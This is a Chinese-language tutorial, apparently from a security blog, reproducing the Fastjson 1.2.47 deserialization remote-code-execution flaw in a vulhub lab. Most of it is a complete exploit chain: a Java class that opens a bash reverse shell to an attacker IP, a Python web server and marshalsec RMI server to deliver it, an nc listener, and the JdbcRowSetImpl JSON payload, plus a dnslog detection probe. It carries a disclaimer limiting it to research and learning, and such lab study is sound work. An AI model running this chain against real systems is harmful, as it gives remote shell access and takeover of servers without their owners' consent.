★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
1、Fastjson介绍
fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。源码地址:https://github.com/alibaba/fastjson
,目前最新版本是2.x。
1.1、漏洞原理
fastJSON在反序列化时,可能会将目标类的构造函数、getter方法、setter方法、is方法执行一遍,如果此时这四个方法中有危险操作,则会导致反序列化漏洞,也就是说攻击者传入的序列化数据中需要目标类的这些方法中要存在漏洞才能触发。
攻击者准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口向攻击者控制web服务器远程加载恶意代码,执行构造函数形成RCE。
1.2、历史漏洞
Fastjson <=1.2.24 反序列化远程命令执行漏洞
Fastjson <=1.2.41 反序列化远程命令执行漏洞
Fastjson <=1.2.42 反序列化远程命令执行漏洞
Fastjson <=1.2.43 反序列化远程命令执行漏洞
Fastjson <=1.2.45 反序列化远程命令执行漏洞
Fastjson <=1.2.47 反序列化远程命令执行漏洞
Fastjson <=1.2.62 反序列化远程命令执行漏洞
Fastjson <=1.2.66 反序列化远程命令执行漏洞
1.3、攻击流程
攻击流程:制作反弹Payload->开启HTTP服务->启动LDAP服务->监听EXP中端口->执行Payload。
2、RCE1.2.47漏洞复现
2.1、启动靶场环境
# 先切到对应目录
cd /home/kali/vulhub-master/fastjson/1.2.47-rce
# 开启靶场
docker-compose up -d
# 查看靶场启动情况
docker-compose ps
2.2、访问靶场
访问:http://192.168.242.4:8090
使用burp suite拦截看到content-type是application/json
解析,就有可能使用fastjson序列化。
2.3、判断是否存在漏洞
使用dnslog来判断是否存在漏洞,在原来GET请求右击Send to Repeater,然后把请求方法GET修改为POST,使用https://dnslog.org/
获取子域名,填充以下请求体:
{
"a":{
"@type":"java.net.Inet4Address",
"val":"获取的dnslog子域名"
}
}
在Request侧的下方,先空一行,然后复制上面的poc,注意不要添加空行,然后点按钮Send,会在Response侧会看正常响应内容。
再到https://dnslog.org/
获取请求结果,会发现多了一行请求记录。
由此,表示存在漏洞利用。
2.4、反弹shell漏洞利用
这个过程和《Log4j2漏洞(二)3种方式复现反弹shell》反弹shell-【marshalsec】可以说基本一样。
2.4.1、生成Exploit.class
jdk要求1.8_191版本,ip修改为kali的ip,端口为nc监听的端口,源码如下:
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.242.4/1234 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在文件目录,打开cmd,使用命令生成Exploit.class文件,或者在kali系统上生成也可以
javac Exploit.java
然后把Exploit.class文件复制到kali系统自己指定的文件夹里面,比如:/home/kali/tools/log4j
2.4.2、开启web服务能访问恶意文件
# 切换到目录
cd /home/kali/tools/log4j
# 开启web服务能访问恶意文件,kali系统的ip: 192.168.242.4
python3 -m http.server 8089
服务开启成功如下:
直接访问:http://192.168.242.4:8089
,可以看到界面列出来当前目录下的所有文件
2.4.3、开启ldap服务
ip修改为kali的ip,端口为ldap,命令如下:
# 切换到目录
cd /home/kali/tools/log4j
# 开启ldap服务端命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.242.4:8089/#Exploit" 9999
开启成功
2.4.4、nc监听
监听恶意文件中的地址ip,也就是第2.4.1、生成Exploit.class的配置的ip和端口
# 监听命令
nc -lvvp 1234
# 监听成功有以下提示信息
listening on [any] 1234 ...
2.4.5、burp发送payload
构造payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.242.4:9999/Exploit",
"autoCommit":true
}
}
在burp suite设置payload,可用dnslog修改过的同一个请求,减少工作量。发送完不用等响应结果,直接到攻击机kali看是否反弹shell成功。
2.4.6、反弹shell成功
3、总结
至此,反序列化漏洞的漏洞共4篇分享完了,后面会再分享3-4篇关于CSRF、SSRF和XXE的内容,敬请关注我的公众号:大象只为你,持续更新中…